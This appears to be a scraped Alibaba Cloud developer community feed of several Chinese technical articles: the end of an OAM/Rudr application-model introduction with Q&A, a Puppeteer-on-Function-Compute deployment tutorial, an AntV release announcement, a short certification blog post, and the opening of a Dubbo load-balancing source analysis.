        在同社区进行交流和验证中,我们发现:上面的这个思路正好跟当时微软 Brendan Burns (Kubernetes 项目创始人)和 Matt Butcher (Helm 项目创始人)团队的思路不谋而合。所以我们双方在面对面交流了几次之后,很快就决定共建这个项目并把它开源出来,跟整个社区生态一起来推进这件非常具有意义的事情。


        今年 10 月 17 号,阿里云小邪和微软云 CTO Mark 共同对外宣布了这个项目的开源,它的官方名字叫做 Open Application Model(OAM),同时我们还宣布了 OAM 对应的 K8s 实现——Rudr 项目


        具体来说,在设计 OAM 的时候,我们希望这个应用定义应该解决传统应用定义的三个问题:

        • 第一,不能有运行时锁定。一套应用定义,必须可以不加修改跑到不同运行环境当中,无论是不是基于 K8s,这是解决我们在应用交付时所遇到的问题的关键。这才是真正的“一次定义、随处运行”;
        • 第二,这个应用定义必须要区分使用角色,而不是继续延续 K8s 的 all-in-one API。 我们已经深刻了解到,我们所服务的应用开发人员,实际上很难、也不想关心运维以及 K8s 底层的各种概念,我们不应该让他们原本已经很苦逼的日子变得更糟;
        • 最后一个,这个应用定义必须不是在一个 YAML 里描述所有东西。一旦一个应用定义里把所有信息全部耦合在一起,就会造成应用描述和运维描述被杂糅在一起,从而导致这个定义的复杂度成倍提升,也会让这个定义完全无法复用。我们希望这些不同领域的描述能够分开,然后平台可以自由地组合搭配。

         
        在这个思路下,我们最后设计出来的应用定义主要分为三个大块:

        • 第一部分是应用组件的描述,包括应用组件怎么运行和该组件所依赖的各种资源。这个部分是开发负责编写的;
        • 第二部分是运维能力的描述,比如应用怎么 scale、怎么访问、怎么升级等策略。这个部分是运维负责编写的;
        • 第三部分是把上述描述文件组合在一起的一个配置文件。比如:“ 一个应用有两个组件,组件 A 需要运维能力 X 和能力 Y,组件 B 需要运维能力 X”。所以这个配置文件,其实才是最终的“应用”。这个配置文件,也是运维编写,并且提交给平台去运行的,当然,平台也可以自动生成这个文件。


        下面我们通过实例来看下以上三个部分对应的 YAML 文件到底长什么样子?它们究竟怎么玩儿?


        备注:如果你想跟我一样实际操作体验这个流程,你只需要在 K8s 集群里装上 Rudr 项目就可以实操了。

        第一部分:Component

         
        5

        首先我们可以看到,Component 定义的是开发关心的事情,没有任何运维相关的概念。


        它的 Spec 主要分为两大块:


        第一个参数块是应用描述,包括 WorkloadType 字段,这个字段就是表达应用使用什么 Workload 运行,在我们设计里有六种默认 Workload,分别是 Server、Worker、Job 以及他们对应的单例模式,Workload 也可以扩展。Server 代表这是一个可以自动伸缩的,并且有一个端口可以访问的模式。接下来就是容器的镜像、启动参数之类的,这部分包含完整的 OCI spec。


        第二块是 parameters 如何运行可扩展的参数,如环境变量和端口号。这一块参数的特点是:它们虽然是开发定义的,但是都允许运维后续覆盖。这里的关键点是,关注点分离并不等于完全割裂。所以,我们设计了 parameters 列表,其实就是希望开发能告诉运维,哪些参数后续可以被运维人员覆盖掉。这样的话就很好地联动起来了,开发人员可以向运维人员提出诉求,比如运维应该使用哪些参数、参数代表什么意思。


        像这样一个 Component 可以直接通过 kubectl 安装到 K8s 中。


        6



        然后我们可以通过 kubectl 工具查看到已经安装好的组件有哪些:


        7


        所以说,我们当前的 K8s 集群,支持两种“应用组件”。需要指出的是,除了我们内置支持的组件之外,开发自己可以自由定义各种各样的组件然后提交给我们。Component Spec 里的 Workload Type 是可以随意扩展的,就跟 K8s 的 CRD 机制一样。

        第二部分: Trait


        说完了开发能用的 API,我们再来看运维用的 API 长什么样。


        在设计应用的运维能力定义的过程中,我们重点关注的是运维能力怎么发现和管理的问题。


        为此,我们设计了一个叫做 Trait 的概念。所谓 Trait,也就是应用的“特征”,其实就是一种运维能力的声明式描述。我们能通过命令行工具发现一个系统里支持哪些 Traits(运维能力)。


        8


        这时候,运维要查看具体的运维能力该怎么使用,是非常简单的:


        9



        可以看到,他可以在 Trait 定义里清晰的看到这个运维能力可以作用于哪种类型的 Workload,包括能填哪些参数?哪些必填?哪些选填?参数的作用描述是什么? 你也可以发现,OAM 体系里面,Component 和 Trait 这些 API 都是 Schema,所以它们是整个对象的字段全集,也是了解这个对象描述的能力“到底能干吗?”的最佳途径(反正基础设施团队的文档写的也不咋地)。


        上面这些 Trait 也都是用过 kubectl apply 就可以安装到集群当中的。


        既然 Component 和 Trait 都是 Schema,那么它们怎么实例化成应用呢?

        第三部分:Application Configuration


        在 OAM 体系中,Application Configuration 是运维人员(或者系统本身也可以)执行应用部署等动作的操作对象。在 Application Configuration 里,运维人员可以将 Trait 绑定到 Component 上执行。


        在 Application Configuration YAML 里面,运维可以把 Component 和 Trait 组装起来,从而得到一个可以部署的“应用”:


        10

         


        在这里我们可以看到,运维实例化的应用里面包含了一个叫 hellowworld-python-v1 的 Component,它有两个参数:一个是环境变量 target,一个是port。需要注意的是,这两个参数是运维人员覆盖了原先 Component yaml 中开发定义的两个可覆盖变量。


        同时,这个 Component 绑定了 2 个运维能力:一个是水平扩容,一个是 Ingress 域名访问。


        运维人员通过 kubectl 即可把这样一个应用部署起来:


        11


        这时候在 K8s 里面,你就可以看到 OAM 插件会自动为你创建出对应的 Deployment。


        12



        同时,这个应用需要的 Ingress 也被自动创建起来了:


        13


        这里其实是前面提到的 Rudr 插件在起作用,在拿到 OAM 的 Application Configuration 文件以后,识别出其中的 Component 和 Trait,将其映射到 K8s 上的资源并拉起,K8s 资源相应的生命周期都随着 OAM 的配置去管理。当然,由于 OAM 定义是平台无关的,所以除了 K8s 本身的资源,Rudr 插件的实现中也会加入外部资源的拉起。

        OAM YAML 文件 = 一个自包含的软件安装包


        最终我们可以通过像乐高积木一样组装复用 OAM 的不同模块,实例化出一个 OAM 的应用出来。更重要的是,这个 OAM 应用描述文件是完全自包含的,也就是说通过 OAM YAML,作为软件分发商,我们就可以完整地跟踪到一个软件运行所需要的所有资源和依赖。


        14


        这就使得现在对于一个应用,大家只需要一份 OAM 的配置文件,就可以快速、在不同运行环境上把应用随时运行起来,把这种自包含的应用描述文件完整地交付到任何一个运行环境中。


        这不仅让我们前面提到的软件交付难题得到了很好的解决,也让更多非 K8s 平台比如 IoT、游戏分发、混合环境软件交付等场景,能享受到云原生应用管理的畅快。

        最后

        OAM 是一个完全属于社区的应用定义模型,我们非常希望大家都能参与进来。


        15

        钉钉扫码加入交流群

        • 一方面,如果你有任何场景感觉 OAM 无法满足的,欢迎你在社区提出 issue 来描述你的案例;
        • 另一方面,OAM 模型也正在积极的同各个云厂商、开源项目进行对接。


        我们期待能与大家一起共建这个全新的应用管理生态。

        Q & A


        Q1:OAM spec 中目前还没有看到属于 Infra Operator 的管理对象(补充:Component 是面向 App Developer,Traits 和 AppConfiguration 面向 App Operator,哪个对象是面向 Infra Operator 的?)
        A1:OAM 本身就是基础设施运维手里的武器,包括 Kubernetes、Terraform 等一系列平台层的开源项目,基础设施运维可以通过这些开源项目构建 OAM 的实现(如 Rudr 基于 Kubernetes)。所以 OAM 的实现层就是基础设施运维提供的,他们不需要额外的对象来使用 OAM。

        Q2:OAM Controller和 admission controller 的分工标准是什么?
        A2:OAM 项目中的 admission controller 用于转换和检验 spec,完全等价于 K8s 中 admission controller。目前实现的功能包括转换 [fromVariable(VAR)] 这种 spec 中的函数,检验 AppConfig、Component、Trait、Scope 等 CR 是否符合规范,是否合法等。OAM Controller,即目前的开源项目 Rudr,就是整个 OAM 的实现层,它负责解释 OAM 的 spec 并转换为真实运行的资源,这里的资源可以是 K8s 原有的一些,也可以是像阿里云上的 RDS 这类云资源。目前 Rudr 项目是 Rust 语言写的,考虑到 K8s 生态大多数都是用 Go 语言写的,我们后续也会开源一个 Go 语言编写的 OAM-Framework,用于快速实现像 Rrudr 这样的 OAM 实现层。

        Q3:计划啥时候开源 Go 的 OAM-Framework 呀?
        A3:我们需要一点时间进一步打磨 OAM-Framework ,让它适配大家的场景。但是应该很快就会跟大家见面。




        Q4:阿里是如何降低 K8s 的复杂度来满足运维和研发一些共性诉求的?在 K8s 中的用户 user 角色可能是开发也可能是运维。
        A4:目前我们遇到的大多数场景都能区分哪些是运维要关心的,哪些是研发要关心的。OAM 降低 K8s 复杂度的主要方法就是关注点分离,给 K8s 的 API 做减法,尽量让某一方可以少关注一些内容。如果你有这样一个无法分割的场景,其实我们也很感兴趣,欢迎把 case 提出来一起探讨。另一方面,我们并不是屏蔽掉 K8s,OAM Spec 预留了充足的扩展性,完全可以把K8s原有的能力提供给用户。




        Q5:我认为 OAM 是基于 K8s 针对于不同应用上的抽象层,现在我们有很多应用都是用 Helm 包包装好的,如果切换成 OAM 的话,我们需要注意哪些地方呢?
        A5:其实我们上半年一直在推广 Helm 在国内的使用,包括提供了阿里巴巴的 Helm 镜像站(https://developer.aliyun.com/hub)等,所以 OAM 跟 Helm 也是相辅相成的。简单的说,OAM 其实就是 Helm 包里面 template 文件夹里面的内容。Helm 是 OAM 做参数渲染(template)和打包(chart)的工具。如果切换到 OAM,Helm 的使用方式不需要变,里面的 spec 换成 OAM 的 spec 即可。

        Q6:请问,Rudr 用起来了吗,效果如何。Rudr 的架构有没更丰富的资料?
        A6:Rudr 一直是可以用的,大家要是用不起来可以提 issue,想要什么方面的资料或者疑问也可以提 issue,我们也在完善文档。目前相关的材料都在这里:
        https://github.com/oam-dev/rudr/tree/master/docs

        Q7:我们一直在用 Helm 打包我们的应用,去做 gitops ,一个通用的 chart 对应不同的 values.yaml 做到了复用。听了分享,很期待 OAM,当然还有 Openkruise。
        A7:Openkruise 是开源的哈,大家可以关注 https://github.com/openkruise/kruise 我们也一直在迭代。

        Q8:OAM 有哪些公司在用?实际体验反馈如何?
        A8:OAM 刚刚发布一个月左右,具体有哪些公司已经在使用我们还没有来得及统计。阿里巴巴和微软内部都已经在使用,并且都有对外的产品使用 OAM。就我们接触到的用户来说,无论是社区的用户还是阿里巴巴内部,都对 OAM 的关注点分离等理念非常认同,也都在积极落地。


        社群分享文章整理
        Vol 1 : 当 K8s 集群达到万级规模,阿里巴巴如何解决系统各组件性能问题?
        Vol 2 : 超大规模商用 K8s 场景下,阿里巴巴如何动态解决容器资源的按需分配问题?
        Vol 3 : 备战双 11!蚂蚁金服万级规模 K8s 集群管理系统如何设计?
        Vol 4 : 带你上手一款下载超 10 万次的 IEDA 插件

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

         

        ]]>
        Serverless 实战 —— 快速开发一个分布式 Puppeteer 网页截图服务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Puppeteer 是什么?

        image.png

        puppeteer 官网的介绍如下:

        Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

        通俗描述就是:Puppeteer 可以将 Chrome 或者 Chromium 以无界面的方式运行(当然也可以运行在有界面的服务器上),然后可以通过代码控制浏览器的行为,即使是非界面的模式运行,Chrome 或 Chromium 也可以在内存中正确渲染网页的内容。

        那么 Puppeteer 能做什么呢?其实有很多地方都可以受用 Puppeteer,比如:

        • 生成网页截图或者 PDF
        • 抓取 SPA(Single-Page Application) 进行服务器渲染(SSR)
        • 高级爬虫,可以爬取大量异步渲染内容的网页
        • 模拟键盘输入、表单自动提交、登录网页等,实现 UI 自动化测试
        • 捕获站点的时间线,以便追踪你的网站,帮助分析网站性能问题

        本文选择截图场景作为演示。

        如何快速部署一个分布式 Puppeteer Web 应用?

        为了快速部署分布式 Puppeteer Web 应用,这里我们选择函数计算服务

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        有了函数计算服务,我们这里目标是搭建一个分布式应用,但做的事情其实很简单,那就是写好业务代码,部署到函数计算,仅此而已。

        使用函数计算后,我们的系统架构图如下:

        效果演示

        可以直接通过以下链接查看效果:

        https://1911504709953557.cn-hangzhou.fc.aliyuncs.com/2016-08-15/proxy/puppeteer-test/html2png/?url=https://www.aliyun.com/product/fc

        PS:第一次请求可能会有几秒的冷启动时间,通过使用预留模式可以完全去除冷启动,由于超出本文范围,这里不再阐述。

        搭建步骤步骤:

        整体流程如下图所示:

        其中,需要我们操作的只有 Fun Init、Fun Install 以及 Fun Deploy 命令,每个的步骤内容都会由这三个命令自动完成。

        1. 工具安装

        安装 Fun 工具: 
        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        安装 Docker: 
        可以按照这里介绍的方法进行安装。

        2. 初始化项目:

        通过 Fun 工具,使用下面的命令可以快速初始化一个 Puppeteer Web 应用的脚手架:

        fun init -n puppeteer-test http-trigger-node-puppeteer

        其中 -n puppeteer-test  表示初始化项目的目录名称, http-trigger-node-puppeteer  表示要使用的模板名称,可以省略该名称,省略后,可以从终端提示的列表中自行选择需要的模板。

        执行完毕后,可以看到如下的目录结构:

        .
        ├── index.js
        ├── package.json
        └── template.yml

        相比较于传统的 puppeteer 应用,这里仅仅多了一个 template.yml 文件,用于描述函数计算的资源。

        而 index.js 就是我们的业务代码了,可以按照 Puppeteer 官方帮助文档的要求书写自己的业务代码,这里不再重复阐述,核心代码如下:

        const browser = await puppeteer.launch({
          headless: true,
          args: [
            '--no-sandbox',
            '--disable-setuid-sandbox',
          ]
        });
        
        const page = await browser.newPage();
        await page.emulateTimezone('Asia/Shanghai');
        await page.goto('https://www.baidu.com', {
          'waitUntil': 'networkidle2'
        });
        
        await page.screenshot({ path: '/tmp/example', fullPage: true, type: 'png' });
        
        await browser.close();

        package.json 内容如下:

        {
          ... ...
          "dependencies": {
            "puppeteer": "^2.0.0"
          },
          ... ...
        }

        可以看到,在 package.json 中声明了 puppeteer 的依赖。这个也是我们使用 node 开发时的标准做法,并无特别之处。

        3. 一键安装依赖

        puppeteer 的安装,即使是在传统的 linux 机器上,也不是那么的轻松。因为 puppeteer 本身依赖了非常多的系统库,要安装哪些系统库、如何安装这些系统库成了一个比较头痛的问题。

        好在函数计算命令行工具 Fun 已经集成了 Puppeteer 的解决方案,只要 package.json 中包含了 puppeteer 依赖,然后使用 fun install -d 即可一键安装所有系统依赖。

        fun install -d

        4. 本地运行、调试函数

        Puppeteer 的本地运行、调试方法与这里介绍的完全一致,我们就不再重复介绍。我们这里只演示下运行效果:

        5. 一键部署应用

        基本上所有的 FaaS 平台为了减小应用的冷启动,都会设置代码包的限制,函数计算也不例外。而 puppeteer 自身已经达到了 350M 左右,连同其系统依赖已经达到了 450M。如何将 450M 体积的函数部署到 FaaS 平台是一个比较头痛而且繁琐的问题。

        函数计算的命令行工具 Fun 现在原生支持了这种大依赖部署(3.1.1 版本仅支持 node runtime)。不需要任何额外操作,仅仅执行 fun deploy:

        $ fun deploy

        fun 会自动完成依赖的部署。而当检测到打包的依赖超过了平台的限制时,会进入到配置向导,帮助用户自动化地配置。

        我们这里推荐的路径是当提示是否由 Fun 自动帮助 NAS 管理是,输入 yes,然后提示提示是否使用 NasConfig: Auto 自动处理 NAS 时,也选择是,之后就不需要做其他的事情,等待函数部署成功即可。

        如果有其他的需求,比如想使用自己已经存在的 NAS 服务,可以在提示使用 NasConfig: Auto 时,输入 no,这样就会进入到相应的流程。更详细的说明,请参考下面的 FAQ。

        FAQ

        在安装 puppeteer 时,Fun 都做了哪些事情?

        puppeteer 本身是一个 npm 包,它的安装是非常简单的,通过 npm install 即可。这里的问题在于,puppeteer 依赖了 chromium,而 chromium 又依赖一些系统库。所以 npm install 后,还会触发下载 chromium 的操作。这里用户经常遇到的问题,主要是:

        1. 由于 chromium 的体积比较大,所以经常遇到网络问题导致下载失败。
        2. npm 仅仅只下载 chromium,chromium 依赖的系统库并不会自动安装。用户还需要自行查找缺失的依赖进行安装。

        Fun 做的优化主要是:

        1. 通过检测网络环境,对于国内用户,会帮助配置淘宝 NPM 镜像实现加速下载的效果。
        2. 自动为用户安装 chromium 所缺失的依赖库。

        Fun 是如何把大依赖部署到函数计算的?不是有代码包大小的限制吗?

        基本上所有的 FaaS 为了优化函数冷启动,都会加入函数代码包大小的限制。函数计算也不例外。但是,Fun 通过内置 NAS(阿里云文件存储) 解决方案,可以一键帮用户创建、配置 NAS,并上传依赖到 NAS 上。而函数计算在运行时,可以自动从 NAS 读取到函数依赖。

        为了帮助用户自动化地完成这些操作,Fun 内置了一个向导(3.1.1 版本仅支持 node,后续会支持更多,欢迎 github issue 提需求),在检测到代码体积大小超过平台限制时,会提示是否由 Fun 将其改造成 NAS 的方案,整个向导的逻辑如下:

        1. 询问是否使用 Fun 来自动化的配置 NAS 管理依赖?(如果回答是,则进入向导,回答否,则继续发布流程)
        2. 检测用户的 yml 中是否已经配置了 NAS

          1. 如果已经配置,则提示用户选择已经配置的 NAS 存储函数依赖
          2. 如果没有配置,则提示用户是否使用 NasConfig: Auto 自动创建 NAS 配置

            1. 如果选择了是,则帮助用户自动配置 nas、vpc 资源。
            2. 如果选择了否,则列出用户当前 NAS 控制台上已经有的 NAS 资源,让用户选择
          3. 无论上面使用哪种方式,最终都会在 template.yml 生成 NAS 以及 VPC 相关的配置
          4. 根据语言检测,比如 node runtime,会将 node_modules 以及 .fun/root 目录映射到 nas 目录(通过 .nas.yml 实现)
          5. 自动执行 fun nas sync 帮用户把本地的依赖上传到 NAS 服务
          6. 自动执行 fun deploy,帮用户把代码上传到函数计算
          7. 提示帮助信息,对于 HTTP Trigger 的,提示函数的 Endpoint,直接打开浏览器访问即可看到效果

        是否可以指定 puppeteer 的版本?

        可以的,只需要修改 package.json 中的 puppeteer 的版本,重新安装即可。

        函数计算实例中的时区采用的 UTC,是否有办法改为北京时间?

        某些网页的显示效果是和时区挂钩的,时区不同,可能会导致显示的内容有差异。使用本文介绍的方法,可以非常容易的使用 puppeteer 的最新版本,而在 puppeteer 的最新版本 2.0 提供了一个新的 API page.emulateTimezone(timezoneId) , 可以非常容易的修改时区。

        如果 Puppeteer 后续版本更新后,依赖更多的系统依赖,本文介绍的方法还适用吗?

        Fun 内置了 .so 缺失检测机制,当在本地调试运行时,会智能地根据报错识别出缺失的依赖库,然后精准地给出安装命令,可以做到一键安装。

        如果添加了新的依赖,如何更新?

        如果添加了新的依赖,比如 node_modules 目录添加了新的依赖库,只需要重新执行 fun nas sync 进行同步即可。
        如果修改了代码,只需要使用 fun deploy 重新部署即可。由于大依赖和代码通过 NAS 进行了分离,依赖通常不需要频繁变化,所以调用的频率比较低,而 fun deploy 的由于没有了大依赖,部署速度也会非常的快。

        除了本文介绍的方法还有哪些方法可以一键安装 puppeteer?

        Fun 提供了非常多的依赖安装方式,除了本文介绍的将依赖直接声明在 package.json 中,然后通过 fun install -d 的方式安装外,还有很多其他方法,他们均有各自适用的场景:

        1. 命令式安装。比如 fun install -f functionName -p npm puppeteer 。这种安装方式的好处是即使对 fun 不了解的用户也可以傻瓜式的使用。
        2. 声明式安装。这种安装方式的好处是提供了类 Dockerfile 的体验,Dockerfile 的大部分指令在这里都是可以直接使用的。通过这种方式声明的依赖,可以通过直接提交到版本仓库。他人拉取代码后,也可以一键安装所有依赖。
        3. 交互环境安装。这种安装方式的好处是提供了类似传统物理机的安装体验。在交互环境中,大部分 linux 命令都是可以使用的,而且可以不断试错。

        总结

        本文介绍了一种比较简单易行地从零开始搭建分布式 Puppeteer Web 服务的方法。利用该方法,可以做到不需要关心如何安装依赖、也不需要关系如何上传依赖,顺滑地完成部署。

        部署完成后,即可享受函数计算带来的优势,即:

        • 无需采购和管理服务器等基础设施,只需专注业务逻辑的开发,可以大幅缩短项目交付时间和人力成本
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 免运维,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力,性能优异
        • 成本极具竞争力
        ]]>
        那个“炫酷狂拽”的数据可视化利器AntV 11.22版全新发布啦-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 导读

        AntV 是一个数据可视化项目,也是一个团队,蚂蚁金服数据可视化团队,一群有爱有梦的人,怀揣「让人们在数据世界里获得视觉化思考能力」的梦想前行, 希望成就智能时代全球领先的数据可视化解决方案,满足与日俱增的数据洞察需求。

        AntV 目前覆盖了统计图表、移动端图表、图可视化、地理可视化、2D 绘图引擎和智能可视化多个领域,主要包含 G2、G6、F2、L7 以及一套完整的图表使用和设计规范。得益于丰富的业务场景和用户需求挑战,AntV 经历多年积累与不断打磨,已支撑起阿里集团内外 20000+ 业务系统,通过了日均千万级 UV 产品的严苛考验,是阿里经济体数据可视化最重要的基础设施。

        跟往年的品牌日一样,今天依旧会有几个底层基础类库的大量更新发布,除此之外,非常高兴的向大家介绍 AntV 产品矩阵新添的三个成员:

        G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库;
        Graphin,一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用;
        ChartCube,一个可以快速完成图表制作的在线工具,只需要三步就可以创建出高品质的图表;
        他们都是 AntV 技术栈上的更高抽象的封装或应用,详见文稿详情。

        跟往年的品牌日不一样,今年的品牌日主题为「知源 · 致远」,除了上述技术、设计的更新与发布,我们真诚的向大家分享 AntV 团队的由来与发展历程,详见文末 AntV 全员出镜演绎的团队纪录片,匠心知源,同行致远。

        匠心打磨,是时候给大家一个图表库了

        —— G2Plot

        G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库。

        G2 是一套基于可视化编码的图形语法,以数据驱动,具有高度的易用性和扩展性,用户无需关注各种繁琐的实现细节,一条语句即可构建出各种各样的可交互的统计图表。

        每个人都能制作图表,但并不是人人都能做出易读,好用又好看的优秀图表。如何从无聊的默认设置变成有洞见的数据图表呢?我们融合了在商业智能(BI)中的可视分析与设计实践经验,基于 G2 的灵活、强大的可视表达能力,抽象常用图表类型封装出全新的可视化图表库 G2Plot。结合真实数据,制作图表,获取专业的可视化。

        我们曾经说过 G2 是一个可以生产图表库的图表库,如今自证预言的推出 G2Plot 除了具备 G2 无限可能的可视表达能力外,G2Plot 最主要的特性还有:

        • 开箱即用:默认好用开箱即用的高质量统计图表
        • 响应式:针对各种分辨率的响应、文本覆盖、文本超出限制做了精心的设计
        • 会讲故事的图表:提供了多图组合、叠加、联动,共同讲述一个数据故事的可能性

        1.png
        2.gif

        提前预告的还有 G2 4.0,在 G2 1.0 - 2.0 阶段我们专注于图形语法,解决了数据到图形的映射问题,用户可以通过自由组合图形语法快速搭建各种图表。G2 3.0 随着业务对图表体验需求不断升级,我们对图表组件以及交互进行了改造,提供了更加灵活的配置以及自定义功能。而此次 G2 4.0 对我们来说是一个很重要的新起点,我们对底层架构做了大量的重构工作,当前 G2 4.0 Alpha 版本已放出,稳定版预计将在两个月后正式发布,她将是一个专业的、给用户带来更多可能性的可视化底层引擎,在保证图表优雅体验的同时,4.0 将会更加关注于:

        • 图形语法,数据到图形的映射;
        • 交互语法,交互同数据、图形的连接机制;
        • 组件体系,面向交互、体验优雅;

        点线析源远,洞察关系数据

        —— Graphin

        Graphin,取名自 Graph Insight,图的分析洞察,一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用。

        G6 AntV 旗下的图分析及图可视化引擎,G 来自于 Graphic、Graph ,意味着我们要基于图分析技术做图可视化;6 来自于《六度分隔理论》,表达了我们对关系数据、关系网络的敬畏和着迷。

        目前图分析已经被广泛应用在金融反欺诈,公共安全,基础设施监控,智慧医疗等领域。在这个过程中,我们需要一个强大的图计算引擎,解决数据合规,挖掘问题。也需要相应的图算法去解决图的构建,分析问题。最后在前端,我们需要一个图可视化引擎,为我们提供可视化分析能力,发现潜在的价值。

        Graphin 就是在这样的背景下诞生的,基于 G6 的底层能力一方面屏蔽掉一些领域专业的概念,同时又封装进去很多常用的图分析功能,进一步降低图可视化领域的专业门槛,将这些关系数据进行可视化分析与探索。Graphin 具有如下产品特性:

        • 数据驱动:充分利用 React 框架特性,支持数据到图的映射与变化;
        • 自动布局:内置丰富的布局,支持布局切换,满足不同场景下的布局需求;
        • 分析组件:内置 Toolbar,ContextMenu,MiniMap,Filter 等组件,组件化开发,支持自定义;
        • 自定义样式:内置节点与边的样式,支持用户通过 JSON Schema 自定义;
        • 基础分析:支持节点扩散,寻找边关系等基础分析方法;
        • 高级分析:开源后计划新增时序分析(timebar),地理位置分析(map mode)等高级分析方法。

        3.gif

        值得一提的是,G6 从 18 年开源到现在已经第 2 个版本,从基础关系图绘制到图分析与图编辑底座,而在 3.1.版本后的 G6 已重新聚焦在图分析方向,我们将会给出另外一个产品去承载图编辑方向的需求。有了这个改变,今天我们带来的 G6 3.2 版本能够更聚焦的提供:

        • 更丰富的元素:内置丰富的节点与边元素,自由配置,支持自定义;
        • 更可控的交互:内置 10+ 交互行为,支持自定义交互;
        • 更强大的布局:内置了 10+ 常用的图布局,支持自定义布局;
        • 更便捷的组件:优化内置组件功能及性能;
        • 更友好的体验:根据用户需求分层梳理文档,支持 Type 类型推断。

        除了上述默认好用、配置自由的内置功能,元素、交互、布局均具有高可扩展的自定义机制。

        4.png

        4.1.gif

        丰富的内置元素。]]> 终于可以写第一篇文章了-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   本周一兴致勃勃的准备要写第一篇文章,没想到点击写文章之前,需要先获得开发者认证,以此证明自己是个开发人员。二话不说,立即开始测评。
          打开“能力自测”,15套自测题摆在眼前,按Java,linux运维,Python和前端来划分,但没看到任何标准来说明做多少套题才能获得认证。那就从最熟悉的java开始,一口气做了12套,基本上都一次通过,个别的做了2遍,其中一套做了3遍基本达到满分。
          题目相对比较基础,基本都概念性的问题,不排除个别题目有问题,比如有些单选,有两个完全相同的答案,只能从中挑一个,但一般挑靠后的那个答案会通过。有些题目,百度了下答案,但还是做错了,比如Spring提供哪些标准事件,正常来说应该是A~E,所有的都满足,但答案却排除了RequesthandlerEvent。
         除了Java部分,又完成了Linux运维相关的题目,最大的收获是熟悉了一些不常用的命令或者是替代命令。比如id,w及linux查看系统运行时间的方式等。
          还差Python和前端开发部分没有完成,心血来潮,点击下是否满足开发者条件,然后竟然直接通过了。总结下来,应该是完成部分模块内容,中间至少有一天的时间间隔才可以。
          不管怎么说,本计划今天需要做完所有的测评,才可以写文章,现在可以提前开始,心情大好,流水账形式,以此纪念。

        ]]> Dubbo源码解析实战 - 负载均衡算法LoadBalance-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1 简介

        本篇尽量用一些简单的数学式子和流程图和大家一起梳理一下这些集群容错算法.

        2 灵魂拷问

        • 谈谈dubbo中的负载均衡算法及特点
        • 最小活跃数算法中是如何统计这个活跃数的
        • 简单谈谈你对一致性哈希算法的认识

        3 接口的继承体系

        4 RandomLoadBalance(随机)

        随机,按权重设置随机概率
        在一个截面上碰撞的概率高,但调用量越大分布越均匀,而且按概率使用权重后也比较均匀,有利于动态调整提供者权重。

        默认策略,但是这个随机和我们理解上的随机还是不一样的,因为他还有个概念叫weight(权重),就是用来控制这个随机的概率的,我们来看代码实现.

        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        
        import java.util.List;
        import java.util.concurrent.ThreadLocalRandom;
        
        /**
          * 此类从多个提供者中随机选择一个提供者。
          * 可以为每个提供商定义权重:
          * 如果权重都相同,则将使用random.nextInt(调用者数)。
          * 如果权重不同,则将使用random.nextInt(w1 + w2 + ... + wn)
          * 请注意,如果机器的性能优于其他机器,则可以设置更大的重量。
          * 如果性能不是很好,则可以设置较小的重量。
         */
        public class RandomLoadBalance extends AbstractLoadBalance {
        
            public static final String NAME = "random";
        
            /**
             * 使用随机条件在列表之间选择一个invoker
             * @param invokers 可能的invoker列表
             * @param url URL
             * @param invocation Invocation
             * @param <T>
             * @return 被选的invoker
             */
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                // invoker的数量
                int length = invokers.size();
                // 每个 invoker 有相同权重
                boolean sameWeight = true;
                // 每个invoker的权重
                int[] weights = new int[length];
                // 第一个 invoker 的权重
                int firstWeight = getWeight(invokers.get(0), invocation);
                weights[0] = firstWeight;
                // 权重之和
                int totalWeight = firstWeight;
                for (int i = 1; i < length; i++) {
                    int weight = getWeight(invokers.get(i), invocation);
                    // 保存以待后用
                    weights[i] = weight;
                    // Sum
                    totalWeight += weight;
                    if (sameWeight && weight != firstWeight) {
                        sameWeight = false;
                    }
                }
                if (totalWeight > 0 && !sameWeight) {
                    // 如果并非每个invoker都具有相同的权重且至少一个invoker的权重大于0,请根据totalWeight随机选择
                    int offset = ThreadLocalRandom.current().nextInt(totalWeight);
                    // 根据随机值返回invoker
                    for (int i = 0; i < length; i++) {
                        offset -= weights[i];
                        if (offset < 0) {
                            return invokers.get(i);
                        }
                    }
                }
                // 如果所有invoker都具有相同的权重值或totalWeight = 0,则平均返回。
                return invokers.get(ThreadLocalRandom.current().nextInt(length));
            }
        
        }
        

        分析

        • 流程图

        假设有四个集群节点A,B,C,D,对应的权重分别是1,2,3,4,那么请求到A节点的概率就为1/(1+2+3+4) = 10%.B,C,D节点依次类推为20%,30%,40%.

        虽然这个随机算法理解起来是比较容易的,面试一般不会问这个,但是假如我们要实现类似的功能,他这个代码实现的思路还是很优雅的,非常具有借鉴意义
        他这个实现思路从纯数学角度是很好理解的,我们还是按照上面数学分析中的前提条件.我们知道总权重为10(1+2+3+4),那么怎么做到按权重随机呢?
        根据10随机出一个整数,假如为随机出来的是2.然后依次和权重相减,比如2(随机数)-1(A的权重) = 1,然后1(上一步计算的结果)-2(B的权重) = -1,此时-1 < 0,那么则调用B,其他的以此类推

        5 RoundRobinLoadBalance(轮询)

